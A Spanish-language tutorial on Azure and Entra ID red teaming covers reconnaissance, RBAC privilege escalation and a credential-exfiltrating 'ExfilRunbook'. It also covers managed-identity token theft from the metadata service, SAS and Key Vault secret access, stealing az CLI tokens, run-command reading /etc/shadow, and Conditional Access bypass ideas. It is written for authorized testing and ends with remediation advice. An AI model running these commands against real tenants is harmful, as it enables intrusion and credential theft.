Azure es la segunda plataforma de nube más grande del planeta y la opción dominante en entornos empresariales. La profunda integración de Microsoft con Active Directory, Office 365 y herramientas empresariales significa que Azure está en todas partes donde operan los red teams corporativos. Si haces trabajo interno de red team o pentesting empresarial en 2026, Azure es inevitable.

Esta guía cubre la cadena de ataque completa — desde reconocimiento inicial hasta robo de credenciales, abuso de RBAC, movimiento lateral y persistencia — con comandos reales y las herramientas que realmente funcionan.

Necesitas un laboratorio para practicar esto de forma segura. Usa un tenant Azure dedicado (prueba gratuita disponible). Para una máquina atacante externa, Vultr y DigitalOcean te dan un Linux limpio que puedes destruir cuando termines.


Antes de Empezar: Alcance y Aspectos Legales

Las reglas de engagement de pruebas de penetración de Microsoft son claras:

  • Puedes probar tus propios recursos Azure sin aprobación previa para la mayoría de los escenarios
  • No puedes probar la infraestructura subyacente de Microsoft
  • Sin DDoS, escaneo de puertos de infraestructura Azure, ni ingeniería social a empleados de Microsoft
  • Para engagements de terceros: se requiere autorización escrita del dueño de la suscripción

Azure también tiene Microsoft Defender for Cloud observando todo. Tus acciones generarán alertas. Eso es esperado en un pentest — pero sabe qué estás activando.


Conceptos de Azure que Todo Red Teamer Necesita

Antes de lanzar herramientas contra Azure, entiende la estructura:

Entra ID (antes Azure AD): La plataforma de identidad de Microsoft. Usuarios, grupos, service principals, managed identities — todo vive aquí. Compromete Entra ID y posees la capa de identidad.

Suscripciones: Contenedores de facturación + recursos. Un tenant puede tener múltiples suscripciones.

Grupos de Recursos: Contenedores lógicos para recursos Azure. El RBAC puede aplicarse a este nivel.

RBAC (Control de Acceso Basado en Roles): Cuatro roles integrados clave:

  • Owner — control total incluyendo gestión de acceso
  • Contributor — control total sobre recursos, pero no puede cambiar acceso
  • Reader — solo lectura
  • User Access Administrator — puede gestionar asignaciones de roles (peligroso)

Service Principals: Identidades no humanas usadas por aplicaciones y automatización. Frecuentemente con exceso de privilegios y olvidados.

Managed Identities: Service principals gestionados por Azure adjuntos a recursos de cómputo. Si comprometes una VM con una managed identity, puedes consultar sus credenciales desde el servicio de metadatos — el mismo truco que AWS IMDS.


Fase 1: Reconocimiento

Reconocimiento Pasivo — Mapear el Footprint Azure del Objetivo

Empieza antes de tocar cualquier API Azure.

Descubrimiento de subdominios y tenant:

# Encontrar tenants Azure asociados con un dominio
curl "https://login.microsoftonline.com/<target-domain>/v2.0/.well-known/openid-configuration"

# AADInternals - información del tenant
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com

# Encontrar todos los dominios en un tenant (funciona sin autenticación)
Invoke-AADIntReconAsOutsider -DomainName target.com

Enumerar almacenamiento expuesto públicamente:

# Azure Blob storage — patrones de nombres comunes
curl -s "https://targetcompany.blob.core.windows.net/?comp=list"
curl -s "https://targetcompany-backup.blob.core.windows.net/?comp=list"

# Automatizado: MicroBurst
Import-Module MicroBurst
Invoke-EnumerateAzureBlobs -Base targetcompany

Escaneo de GitHub/código por credenciales filtradas:

# Buscar cadenas de conexión Azure y tokens SAS
trufflehog git https://github.com/target-org/repo
gitleaks detect --source /path/to/repo

# Patrones de credenciales Azure para buscar:
# DefaultEndpointsProtocol=https;AccountName=
# "client_secret":
# AZURE_CLIENT_SECRET
# ?sv=2020&ss=

Los tokens SAS de Azure Storage encontrados en código son una mina de oro — a menudo otorgan acceso de lectura/escritura a contenedores específicos sin autenticación.


Reconocimiento Activo — Enumeración Autenticada

Una vez que tienes credenciales:

Configuración de Azure CLI:

# Instalar
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Iniciar sesión con credenciales
az login -u [email protected] -p 'Password123!'

# Iniciar sesión con service principal
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>

# Verificar quién eres
az account show
az ad signed-in-user show

Enumerar la suscripción:

# ¿Qué suscripciones puedes ver?
az account list

# ¿Qué recursos existen?
az resource list --output table

# Grupos de recursos
az group list --output table

Fase 2: Enumeración de Entra ID (Azure AD)

Entra ID es el objetivo de mayor valor. Entender la estructura de identidad te dice todo sobre las rutas de movimiento lateral.

Enumerar Usuarios, Grupos y Roles

# Listar todos los usuarios
az ad user list --output table

# Listar todos los grupos
az ad group list --output table

# Obtener miembros de un grupo específico
az ad group member list --group "Global Administrators" --output table

# Listar service principals
az ad sp list --output table

# Roles de directorio del usuario actual
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/me/memberOf"

Con PowerShell de Azure AD:

# Todos los usuarios
Get-AzureADUser -All $true

# Todos los roles de directorio y miembros
Get-AzureADDirectoryRole | ForEach-Object {
    $role = $_
    Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | 
    Select-Object @{N='Role';E={$role.DisplayName}}, DisplayName, UserPrincipalName
}

AzureHound — Graficar las Rutas de Ataque

AzureHound es el equivalente Azure de SharpHound — recopila datos que BloodHound usa para mapear visualmente las rutas de ataque.

# Instalar
git clone https://github.com/BloodHoundAD/AzureHound
cd AzureHound && go build .

# Recopilar todos los datos
./azurehound -u "[email protected]" -p "Password123!" list --tenant "target.com" -o output.json

# O con refresh token
./azurehound -r <refresh-token> list --tenant <tenant-id> -o output.json

Importa el JSON en BloodHound. El camino más corto a Global Admin es inmediatamente visible.

ROADtools — Análisis Profundo de Entra ID

ROADtools sincroniza el tenant completo de Entra ID en una base de datos local que puedes consultar.

pip install roadtools

# Autenticar
roadrecon auth -u [email protected] -p 'Password123!'

# Sincronizar datos del tenant
roadrecon gather

# Lanzar la GUI
roadrecon-gui

Fase 3: Enumeración RBAC y Escalada de Privilegios

Mapear Permisos Actuales

# ¿Qué roles tienes en cada suscripción?
az role assignment list --assignee <user-object-id> --all --output table

# ¿Qué puedes hacer en este grupo de recursos?
az role assignment list --scope /subscriptions/<sub-id>/resourceGroups/<rg-name> --output table

# Todas las asignaciones de roles en la suscripción
az role assignment list --subscription <sub-id> --all --output table

Rutas Clave de Escalada de Privilegios

Owner o User Access Administrator → Añadirte a roles:

# Asignarte Owner en una suscripción
az role assignment create \
  --assignee <your-object-id> \
  --role Owner \
  --scope /subscriptions/<sub-id>

Abuso de Automation Account: Si tienes Contributor en un grupo de recursos que contiene una Automation Account:

# Listar runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>

# Crear un runbook que exfiltre credenciales
az automation runbook create \
  --automation-account-name <account> \
  --resource-group <rg> \
  --name ExfilRunbook \
  --type PowerShell

# Importar contenido malicioso
az automation runbook replace-content \
  --automation-account-name <account> \
  --resource-group <rg> \
  --name ExfilRunbook \
  --content @evil-runbook.ps1

# Publicar y ejecutar
az automation runbook publish --automation-account-name <account> --resource-group <rg> --name ExfilRunbook
az automation runbook start --automation-account-name <account> --resource-group <rg> --name ExfilRunbook

Rotación de Secreto de Service Principal: Si tienes Application.ReadWrite.All o propiedad de un registro de aplicación:

# Añadir un nuevo secreto a un service principal
$sp = Get-AzureADServicePrincipal -Filter "displayName eq 'TargetApp'"
New-AzureADServicePrincipalPasswordCredential -ObjectId $sp.ObjectId

Fase 4: Managed Identities y Servicio de Metadatos

Consultar el Servicio de Metadatos

# Obtener el token de managed identity (desde dentro del recurso)
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Parsear el campo access_token
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Usar el token para llamar APIs de Azure
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Obtener token para Microsoft Graph:

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"

Fase 5: Ataques a Cuentas de Almacenamiento

Enumerar Cuentas de Almacenamiento

# Listar cuentas de almacenamiento
az storage account list --output table

# Verificar si permite acceso público
az storage account show \
  --name <storage-account> \
  --query "allowBlobPublicAccess"

# Listar contenedores
az storage container list \
  --account-name <storage-account> \
  --auth-mode login \
  --output table

Acceso No Autenticado a Blobs

Los contenedores públicos exponen datos a cualquiera con la URL:

# Listar contenidos del contenedor público
curl -s "https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list"

# Descargar un archivo
curl -O "https://<storage>.blob.core.windows.net/<container>/file.txt"

Abuso de Tokens SAS

Las Firmas de Acceso Compartido otorgan acceso limitado en el tiempo sin credenciales:

# Usar un token SAS para listar un contenedor
az storage container list \
  --account-name <storage> \
  --sas-token "?sv=2021-08-06&ss=b&srt=co&sp=rwdlacupitfx&se=2027-01-01T00:00:00Z&st=..."

# Descargar todos los blobs usando token SAS
azcopy copy "https://<storage>.blob.core.windows.net/<container>/<sas-token>" \
  /local/dir --recursive

Fase 6: Azure Key Vault

Key Vault almacena secretos, certificados y claves de cifrado. Obtener acceso es una victoria importante.

# Listar todos los Key Vaults
az keyvault list --output table

# Listar secretos en un vault
az keyvault secret list --vault-name <vault-name> --output table

# Obtener un valor de secreto específico
az keyvault secret show --vault-name <vault-name> --name <secret-name>

Agregar permisos de acceso (si RBAC está deshabilitado en el vault):

az keyvault set-policy \
  --name <vault-name> \
  --upn [email protected] \
  --secret-permissions get list backup restore recover \
  --key-permissions get list \
  --certificate-permissions get list

Fase 7: Movimiento Lateral

Pass the Token

La autenticación en Azure es principalmente basada en tokens. Los tokens robados funcionan en todas las herramientas y APIs.

# Extraer tokens del caché del az CLI
cat ~/.azure/msal_token_cache.json

# Usar un token de acceso robado
curl -H "Authorization: Bearer <stolen-token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Ejecución de Comandos en VMs vía Run Command

Si tienes Contributor o Virtual Machine Contributor en una VM:

# Ejecutar un comando de shell en una VM Linux
az vm run-command invoke \
  --resource-group <rg> \
  --name <vm-name> \
  --command-id RunShellScript \
  --scripts "cat /etc/shadow; id"

# PowerShell en VM Windows
az vm run-command invoke \
  --resource-group <rg> \
  --name <vm-name> \
  --command-id RunPowerShellScript \
  --scripts "whoami"

Esto no requiere acceso de red a la VM — va a través del plano de control de Azure. Evita firewalls y NSGs completamente.


Fase 8: Herramientas Clave

MicroBurst

MicroBurst — kit de reconocimiento Azure de NetSPI.

Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base targetcompany
Invoke-EnumerateAzureSubDomains -Base targetcompany
Get-AzurePasswords

PowerZure

PowerZure — framework PowerShell para red teaming en Azure.

Import-Module PowerZure.psd1
Get-AzureRoleAssignments
Get-AzureServicePrincipalPasswords
Get-AzureKeyVaults
Get-AzureStorageAccounts

AADInternals

AADInternals — el kit de ataque más completo para Entra ID.

Install-Module AADInternals -Force
Import-Module AADInternals

# Reconocimiento (sin auth)
Invoke-AADIntReconAsOutsider -DomainName target.com

# Obtener token de acceso
$cred = Get-Credential
Get-AADIntAccessTokenForAADGraph -Credentials $cred

Fase 9: Evadir el Acceso Condicional

Las políticas de Acceso Condicional (CA) son el control de acceso a nivel de red de Azure — pero para identidad.

Técnicas comunes de bypass:

Dirigirse a protocolos de autenticación heredados: Los protocolos más antiguos (SMTP, IMAP, POP3, Exchange Web Services) a menudo evaden las políticas CA.

Suplantación de User Agent: Algunas políticas CA verifican dispositivos compatibles basándose en User-Agent.

Robo de tokens vs. robo de credenciales: Las políticas CA se aplican en el momento de la autenticación — no cuando se usa un token ya emitido. Si robas un token válido, evades CA completamente. Por eso el robo de tokens es más valioso que el de credenciales en Azure.


Entornos de Práctica

No practiques pentesting Azure en objetivos reales sin autorización.

Opción 1: Tu propio tenant Azure gratuito Crea una cuenta Microsoft nueva, levanta una suscripción Azure gratuita. Despliega recursos intencionalmente vulnerables.

Opción 2: CONVEX (CloudGoat para Azure)

git clone https://github.com/XMCyber/CONVEX

Opción 3: PurpleCloud

git clone https://github.com/iknowjason/PurpleCloud

Entorno de laboratorio AD + Azure híbrido completo.


Lista de Verificación de Pentest Azure

  • Reconocimiento del tenant: dominios, usuarios, estructura Entra ID (ROADtools + AzureHound)
  • Validar credenciales y verificar identidad/permisos actuales
  • Enumerar asignaciones RBAC en todas las suscripciones
  • Verificar service principals con secretos filtrados o permisos Graph excesivos
  • Enumerar cuentas de almacenamiento — blobs públicos, tokens SAS, claves de cuenta
  • Verificar Key Vaults — listar secretos, probar configuraciones incorrectas
  • Enumerar Automation Accounts y runbooks
  • Verificar VMs con managed identities — consultar servicio de metadatos
  • Probar az vm run-command en VMs accesibles
  • Buscar brechas en Acceso Condicional (auth heredada, oportunidades de robo de tokens)
  • Ejecutar AzureHound + importar a BloodHound — encontrar camino más corto a Global Admin
  • Revisar pipelines de Azure DevOps con permisos elevados

Defender lo que Atacas

Para el informe de remediación del cliente:

  • Habilitar Microsoft Defender for Cloud — detecta la mayoría de los ataques de esta guía
  • Forzar Acceso Condicional en todas las cuentas — bloquear auth heredada, requerir MFA en todas partes
  • Deshabilitar acceso público en todas las cuentas de almacenamiento por defecto
  • Usar managed identities en lugar de secretos de service principal donde sea posible
  • Habilitar Privileged Identity Management (PIM) — acceso justo a tiempo para roles de admin
  • Auditar asignaciones RBAC regularmente — reducir roles Contributor y Owner
  • Revisar runbooks de Automation Account — trátelos como código que se ejecuta como admin

¿Necesitas ayuda redactando un engagement de pentesting en la nube o produciendo informes listos para clientes? CipherWrite maneja contenido técnico de seguridad — write-ups de pentesting, whitepapers, guías de concienciación.